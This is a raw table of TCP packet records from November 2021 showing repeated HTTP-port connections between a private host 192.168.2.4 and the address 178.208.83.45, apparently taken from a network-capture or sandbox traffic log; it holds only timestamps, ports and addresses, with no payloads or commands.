Nov 12, 2021 22:23:22.946130991 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946146011 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.946177006 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.946199894 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.946225882 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946239948 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946253061 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946264982 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946275949 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.946278095 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946290016 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946301937 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946331978 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.946352005 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.946365118 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.968476057 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968502045 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968514919 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968525887 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968539953 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968555927 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968569994 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968573093 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.968580961 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968595028 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968619108 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.968640089 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.968651056 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968667030 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968677998 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968689919 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968702078 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968714952 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968725920 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968760014 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968770981 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968957901 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.968990088 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969037056 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969048977 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969059944 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969073057 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969085932 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969099045 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969110012 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969120979 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969132900 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969147921 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969160080 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969172001 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969183922 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969194889 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969207048 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969218969 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969230890 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.969242096 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.990928888 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.990952969 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.990994930 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.991053104 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.991076946 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.991089106 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.991153955 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.991194963 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.991355896 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.993951082 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.994930983 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.861995935 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.863581896 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.884409904 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.885912895 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.886085033 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.888448000 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.888482094 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.888487101 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.888501883 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.888523102 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.910852909 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910887957 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910900116 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910914898 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910927057 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910943031 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910953999 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910969973 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910981894 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.910999060 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.911010027 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.911020994 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.911058903 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.911128998 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.911154985 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.933459044 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933485031 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933495998 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933505058 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933516979 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933528900 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933543921 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933556080 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933571100 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933597088 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933603048 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933607101 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933623075 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933631897 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.933634996 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933646917 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933662891 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933676004 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.933676958 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933692932 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933703899 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.933708906 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.933734894 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.933754921 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.933777094 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.956073999 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956090927 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956121922 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956136942 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956154108 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956166029 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956188917 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956198931 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.956203938 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956218958 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956233978 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956245899 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956258059 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956271887 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956285954 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956299067 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956317902 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956332922 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956351995 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.956352949 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956366062 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956368923 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.956381083 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956384897 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:23.956399918 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956414938 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956437111 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956448078 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956464052 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956475973 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956496000 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956509113 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956579924 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956644058 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956665039 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956676960 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956693888 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956708908 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956724882 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956760883 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956773996 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.956789970 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.978826046 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.978844881 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.978868961 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.978930950 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.979007006 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.979084015 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.979161978 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.979211092 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.979227066 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.979238033 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.982192993 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:23.982650042 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.692455053 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.694251060 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.714822054 CET	80	49810	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.714926004 CET	49810	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.716609001 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.717355967 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.719150066 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.719284058 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.719542980 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.719753981 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.743200064 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743446112 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743498087 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743510962 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743532896 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743546963 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743566990 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743582010 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743601084 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743607998 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.743613958 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743629932 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743645906 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.743649960 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.743671894 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.743721008 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.768964052 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.768980026 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769000053 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769010067 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769020081 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769033909 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769047976 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769062996 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769073963 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769090891 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769103050 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769118071 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769128084 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.769129038 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769145012 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769156933 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769165039 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.769172907 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769186020 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769201040 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769213915 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.769220114 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.769262075 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.769289017 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.791512966 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791543961 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791558027 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791573048 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791587114 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791604042 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791604042 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.791619062 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791632891 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791649103 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791650057 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.791703939 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:24.791716099 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791762114 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791779995 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791796923 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791811943 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791829109 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791843891 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.791860104 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.792027950 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.792290926 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.793080091 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.793138981 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.793338060 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.793396950 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.793459892 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794094086 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794116974 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794168949 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794517040 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794558048 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794573069 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794615984 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794631004 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794655085 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794666052 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794676065 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794686079 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794696093 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.794706106 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.813937902 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.813966990 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.814100981 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.814152002 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.814230919 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.814249992 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.814291000 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.814357996 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.816281080 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:24.816431046 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.343091965 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.344715118 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.367407084 CET	80	49811	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.367449999 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.367525101 CET	49811	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.367589951 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.368278027 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.368421078 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.368668079 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.368849993 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.390710115 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.390736103 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391145945 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391164064 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391180038 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391197920 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391213894 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391230106 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391246080 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391258955 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.391263008 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391282082 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391324043 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.391372919 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.391385078 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.391443014 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.413741112 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413779020 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413790941 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413800955 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413815975 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413831949 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413847923 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413880110 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413886070 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413896084 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413947105 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413964987 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413980007 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.413996935 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.414012909 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.414019108 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.414028883 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.414045095 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.414063931 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.414084911 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.414094925 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.414124966 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.414150953 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.414175034 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.436521053 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436553955 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436569929 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436583996 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436599016 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436615944 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436631918 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436649084 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436660051 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436676025 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436693907 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436703920 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436714888 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436713934 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.436779022 CET	49812	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:25.436789036 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436809063 CET	80	49812	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:25.436825991 CET	80	49812	178.208.83.45	192.168.2.4
